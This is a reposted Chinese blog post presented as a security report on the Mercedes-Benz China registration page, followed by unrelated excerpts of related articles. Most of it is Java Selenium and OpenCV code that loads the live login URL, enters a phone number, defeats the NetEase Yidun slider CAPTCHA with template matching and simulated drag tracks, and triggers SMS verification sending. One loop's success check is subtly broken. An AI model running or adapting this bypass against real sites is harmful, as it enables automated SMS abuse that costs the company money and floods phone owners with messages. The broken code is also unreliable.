【奔驰中国-注册安全分析报告】

news2024/11/15 23:47:00

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 奔驰中国 PC端注册入口

简介:作为汽车发明者,梅赛德斯-奔驰中国拥有138年的辉煌历史,如今三叉星徽广布中国大地。面向未来,梅赛德斯-奔驰中国也将一如既往地为广大的中国消费者献上出众的产品、服务以及品牌体验,实现对中国市场的长期承诺。同时,梅赛德斯-奔驰中国将通过梅赛德斯-奔驰中国星愿基金持续践行企业社会责任,积极投身于诸多社会公益事业,助力中国社会的健康、可持续发展。
梅赛德斯-奔驰中国,创新的激情永不灭。作为汽车发明者,我们从未停下脚步,探索,创造,颠覆,革新。

在这里插入图片描述

二、 安全性分析报告:
采用网易的滑动行为验证方式,容易被模拟器绕过甚至逆向后暴力攻击,滑动拼图识别率在 95% 以上。

在这里插入图片描述

三、 测试方法:
前端界面分析为网易易盾的滑动验证码, 网上有大量现成的逆向文章及视频参考,不过我们这次不用逆向, 只是采用模拟器的方式,关键点主要模拟器交互、距离识别和轨道算法3部分
在这里插入图片描述

  1. 模拟器交互部分

private final String INDEX_URL = "https://id.mercedes-benz.com.cn/modelD/Loginpc";

	@Override
	public RetEntity send(WebDriver driver, String areaCode, String phone) {
		try {
			RetEntity retEntity = new RetEntity();
			driver.get(INDEX_URL);

			// 输入手机号
			WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.id("phoneNumber"), 10);
			phoneElemet.sendKeys(phone);

			// 发送验证码
			Thread.sleep(1000);
			WebElement sendElement = ChromeDriverManager.waitElement(driver, By.className("btnDiv"), 10);
			sendElement.click();

			Thread.sleep(1000);
			WebElement tipElement = ChromeDriverManager.waitElement(driver, By.className("yidun_tips__content"), 15);
			String tip = (tipElement != null) ? tipElement.getText() : null;
			System.out.println("yidun tip=" + tip);
			if (tip == null || tip.contains("加载中")) {
				return retEntity;
			}

			boolean yidunResult = false;
			if (tip.contains("拖动滑块")) {
				yidunResult = netEasy.moveExec(driver, 1.0, 2);
			} else {
				yidunResult = netEasyClick.wordClick(driver);
			}
			Thread.sleep(500);
			WebElement gtElement = ChromeDriverManager.waitElement(driver, By.xpath("//div[@class='btnDiv isDisable' and contains(text(),'重新发送')]"), 20);
			String info = (gtElement != null) ? gtElement.getText() : null;
			retEntity.setMsg(info);
			if (info != null && info.contains("重新发送")) {
				retEntity.setRet(0);
				return retEntity;
			} else {
				System.out.println("yidunResult=" + yidunResult + "->info=" + info);
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println("send() phone=" + phone + ",e=" + e.toString());
			for (StackTraceElement ele : e.getStackTrace()) {
				System.out.println(ele.toString());
			}
			return null;
		} finally {
			driver.manage().deleteAllCookies();
		}
	}



2. 距离识别


/**
	 * Open Cv 图片模板匹配
	 * 
	 * @param tpPath
	 *            模板图片路径
	 * @param bgPath
	 *            目标图片路径
	 * @return { width, maxX }
	 */
	public String[] getWidth(String tpPath, String bgPath, String resultFile) {
		try {
			Rect rectCrop = clearWhite(tpPath);
			Mat g_tem = Imgcodecs.imread(tpPath);
			Mat clearMat = g_tem.submat(rectCrop);

			Mat cvt = new Mat();
			Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);
			Mat edgesSlide = new Mat();
			Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);
			Mat cvtSlide = new Mat();
			Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);
			Imgcodecs.imwrite(tpPath, cvtSlide);

			Mat g_b = Imgcodecs.imread(bgPath);
			Mat edgesBg = new Mat();
			Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);
			Mat cvtBg = new Mat();
			Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);

			int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;
			int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;
			Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);
			Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法
			// 归一化相关匹配法
			MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);
			Point maxLoc = minMaxLoc.maxLoc;
			Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);
			Imgcodecs.imwrite(resultFile, cvtBg);
			String width = String.valueOf(cvtSlide.cols());
			String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());
			System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);
			return new String[] { width, maxX };
		} catch (Throwable e) {
			System.out.println("getWidth() " + e.toString());
			logger.error("getWidth() " + e.toString());
			for (StackTraceElement elment : e.getStackTrace()) {
				logger.error(elment.toString());
			}
			return null;
		}
	}


  1. 轨道生成及移动算法

public boolean moveExec(WebDriver driver) {
		// 获取滑动按钮
		try {
			WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.className("yidun_slider"), 400);
			if (moveElemet == null) {
				return false;
			} else {
				Actions actions = new Actions(driver);
				actions.clickAndHold(moveElemet).perform();
			}
			Thread.sleep(1000);

			// 获取带阴影的背景图

			WebElement bg = ChromeDriverManager.waitElement(driver, By.className("yidun_bg-img"), 400);
			String bUrl = bg.getAttribute("src");
			if (bUrl == null) {
				System.out.println("bUrl=" + bUrl);
				return false;
			}
			// 获取小图

			WebElement s = ChromeDriverManager.waitElement(driver, By.className("yidun_jigsaw"), 400);
			String sUrl = s.getAttribute("src");
			if (sUrl == null) {
				System.out.println("sUrl=" + sUrl);
				return false;
			}
			Map<String, String> outMap = getMoveDistance(bUrl, sUrl);
			String openWidth = outMap != null ? outMap.get("width") : null;
			String openDistance = outMap != null ? outMap.get("distance") : null;
			// 计算匹配到的位置
			int distance = (openWidth != null && openDistance != null) ? (int) (Double.parseDouble(openDistance) - Integer.parseInt(openWidth) + 2) : 0;
			System.out.println("getMoveDistance() distance=" + distance + "outMap=" + outMap);
			if (distance == 0) {
				System.out.println("err distance=" + distance + "|openWidth=" + openWidth + ",openDistance=" + openDistance);
				return false;
			}

			moveElemet.click();
			// 滑动
			ActionMove.move(driver, moveElemet, distance);
			String moveStr = null;
			WebElement yidunElement;
			for (int i = 0; i <= 40; i++) {
				yidunElement = ChromeDriverManager.waitElement(driver, By.className("yidun--light"), 400);
				moveStr = (moveStr != null) ? yidunElement.getAttribute("class") : null;
				if (moveStr != null && moveStr.contains("yidun--success")) {
					System.out.println("succ distance=" + distance);
					driver.findElement(By.id("nickname")).click();
					Thread.sleep(500);
					driver.findElements(By.className("sms-code")).get(1).click();
					Thread.sleep(500);
					break;
				}
				System.out.print(".");
				Thread.sleep(50);
			}
			return true;
		} catch (Exception e) {
			return false;
		}

	}

  1. OpenCv 轮廓匹配测试样例:
    在这里插入图片描述

四丶结语

作为汽车发明者,梅赛德斯-奔驰拥有138年的辉煌历史,如今三叉星徽广布中国大地。奔驰中国作为知名品牌的中国分公司,拥有很强的实力, 从测试来看,该网站基本采用用户比较友好的滑动验证方式, 该产品稳定并且市场占有率很高, 在一定程度上提高了用户体验, 但安全性在机器学习的今天, 已经无法应对攻击了,并且正是由于该产品通俗, 所以在网上破解的文章和教学视频也是大量存在,并且经过验证滑动产品很容易被破解, 所以除了滑动验证方式, 花样百出的产品层出不穷,但本质就是牺牲用户体验来提高安全。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2090082.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

什么是基于云的 SIEM

随着企业不断将业务迁移到数字世界&#xff0c;网络威胁的领域也在不断扩大&#xff0c;随着时间流逝&#xff0c;新的威胁不断出现&#xff0c;手段也变得更加巧妙。一个关键问题出现了&#xff1a;组织如何保护其敏感数据、资产和声誉免受网络威胁&#xff1f;这就是基于云的…

Linux中路由功能及ip_forward转发配置

操作系统中路由功能有着至关重要的作用&#xff0c;它决定了网络数据包如何在网络中传输&#xff0c;最终到达目的地。本文简要介绍Linux中的路由功能实现以及IP转发的配置&#xff0c;并验证在容器环境下配置net.ipv4.ip_forward的必要性&#xff0c;以加深理解。 1、Linux中路…

8.6 数据库基础技术-数据库的控制

并发控制 封锁协议 一级封锁协议 二级封锁协议 三级封锁协议 数据库故障和备份 真题 1

案例练习理解ThreadLocal以及应用场景

目录 案例练习 应用场景 ThreadLocal&#xff1a;用来解决多线程程序下并发问题&#xff0c;通过为每一个线程创建一份共享变量的副本保证线程之间的变量的访问和修改互不影响。 案例练习 1.三个销售卖小米SU7&#xff0c;求他们的总销售。使用CountDownLatch维护三个线程 …

跑腿代购系统开发:重塑便捷生活的新篇章

在快节奏的现代生活中&#xff0c;时间成为了最宝贵的资源之一。随着移动互联网技术的飞速发展&#xff0c;人们对于高效、便捷的生活服务需求日益增长&#xff0c;跑腿代购服务应运而生&#xff0c;并迅速成为连接消费者与日常所需商品及服务的重要桥梁。为了满足这一市场需求…

C++:继承用法详解~

在学完C的类和对象&#xff0c;并掌握了类的核心语法与基本用法之后&#xff1b;我们就得去学习一下继承的语法&#xff0c;与继承的用法。简单概括一下&#xff0c;继承是C中一种代码复用的手段&#xff0c;它允许我们&#xff0c;对已有的类&#xff0c;增添新的成员函数或变…

28 TreeView组件

Tkinter ttk.Treeview 组件使用指南 ttk.Treeview 是 Tkinter 的一个高级控件&#xff0c;用于显示和管理层次化数据。它类似于电子表格或列表视图&#xff0c;但提供了更丰富的功能&#xff0c;如可展开的节点、多列显示等。ttk 模块是 Tkinter 的一个扩展&#xff0c;提供了…

NVM安装及配置

一&#xff1a;下载nvm安装包 https://github.com/coreybutler/nvm-windows/releases 二&#xff1a;安装步骤 三&#xff1a;检查环境变量 &#xff08;1&#xff09;、检查用户变量和系统变量中是否有NVM_HOME和NVM_SYMLINK。一般情况下&#xff0c;安装nvm后&#xff0c;系…

Java分布式架构知识体系及知识体系图

Java分布式架构整体知识体系是一个庞大而复杂的领域&#xff0c;它涵盖了多个方面&#xff0c;旨在帮助开发者构建高性能、高可用、可扩展的分布式系统。以下是对Java分布式架构整体知识体系的概述&#xff1a; 一、分布式理论基础 CAP理论&#xff1a; 一致性&#xff08;Con…

GUI编程04:课堂练习及总结

本节内容视频链接&#xff1a;6、课堂练习讲解及总结_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1DJ411B75F?p6&vd_sourceb5775c3a4ea16a5306db9c7c1c1486b5 根据前三节学习到的Frame、Panel、Button知识&#xff0c;画出一下窗口界面&#xff1a; 实现代码如下…

避坑之:深信服AC跨三层取MAC(核心交换机是锐捷S7808C_RGOS 11.0(4)B2P1)

今天碰到一个奇怪的现象&#xff0c;深信服AC对接锐捷交换机做跨三层取MAC&#xff0c;怎么都获取不到。 一、坑1&#xff1a;交换机不回应snmp报文 1.1 排查锐捷交换机配置 配置上看着没有问题&#xff0c;重新配置了community 1.2 查看snmp报文是否通畅 我的笔记本是win10…

选对文档版本管理软件:10款工具详解

本篇文章中提到的工具包括&#xff1a;1.PingCode&#xff1b;2.Worktile&#xff1b;3.联想Filez&#xff1b;4.蓝凌云&#xff1b;5.阿里云盘&#xff1b;6.360亿方云&#xff1b;7.无忧企业文档&#xff1b;8.DocStar ECM&#xff1b;9.Dropbox Business&#xff1b;10.Shar…

APP 数据抓取 - Charles 抓包工具的使用(Charles 端口配置、CA 证书配置、Charles Android 模拟器配置)

前言说明 此文章是我在学习 Charles APP 抓包时编写&#xff0c;内容都是亲测有效&#xff0c;文章内容也有参考其他人&#xff0c;参考文章如下&#xff1a; Android 手机使用 charles 抓 https 请求&#xff08;保姆级教程&#xff09;网易 mumu 模拟器安装下载 charles 的…

JAVAEE初阶第二节——多线程基础(上)

系列文章目录 JAVAEE初阶第二节——多线程基础(上) 计算机的工作原理 认识线程&#xff08;Thread&#xff09;Thread 类及常见方法线程的状态 文章目录 系列文章目录JAVAEE初阶第二节——多线程基础(上) 计算机的工作原理 一.认识线程&#xff08;Thread&#xff09;1.概念 …

Leetcode面试经典150题-28.找出字符串第一个匹配项的下标

解法都在代码里&#xff0c;不懂就留言或者私信&#xff0c;比第一题稍微难点 用KMP解这个题简直就像大炮打蚂蚁&#xff0c;但是没办法&#xff0c;现在都是这么卷 package dataStructure.bigFactory;public class _28Strstr {public static int strStr(String s1, String s…

EasyCode实现完整CRUD + 分页封装

文章目录 1.创建一个表sys-user2.EasyCode 模板配置1.entity.java.vm2.dao.java.vm3.mapper.xml.vm4.service.java.vm5.serviceImpl.java.vm6.controller.java.vm7.PageInfo.java.vm8.PageResult.java.vm9.SunPageHelper.java.vm 3.EasyCode生成CRUD1.右键表&#xff0c;选择Ge…

Linux系统查看磁盘、内存使用情况、查看当前文件夹内文件详情:free、top、df、du、ls

Liunx系统查看内存使用情况 free&#xff1a;查看当前内存以及交换区内存使用情况&#xff0c;默认显示单位是比特&#xff0c;加上参数-h以易读的方式显示&#xff08;如KB、MB、G&#xff09;&#xff0c;在Linux系统中所有查询加上-h参数均以易读的方式显示。 资源管理器查看…

【C++ Primer Plus习题】7.5

问题: 解答: #include <iostream> using namespace std;int function(int n) {if (n 0)return 1;if (n 1)return 1;return n* function(n - 1); }int main() {int value 0;while (true){cout << "请输入数字:";cin >> value;cout << val…

【读书笔记-《30天自制操作系统》-11】Day12

从本篇内容开始讲解定时器。本篇内容比较简单&#xff0c;首先介绍定时器的概念与设置方法&#xff0c;然后介绍超时的中断处理&#xff0c;并对中断处理函数进行了优化。 1. 定时器 定时器是操作系统中十分重要的功能。它的原理很简单&#xff0c;只是每隔一段时间发送一个…

接口自动化测试框架:SoapUI

SoapUI是一个非常流行的用于Web服务测试的工具。它允许你对SOAP和RESTful Web服务进行测试。在本篇文章中&#xff0c;我们将介绍SoapUI的背景、好处以及企业实际使用该工具的干货。 一、背景 在过去的几年中&#xff0c;Web服务变得越来越流行。由于不同的应用程序可以通过W…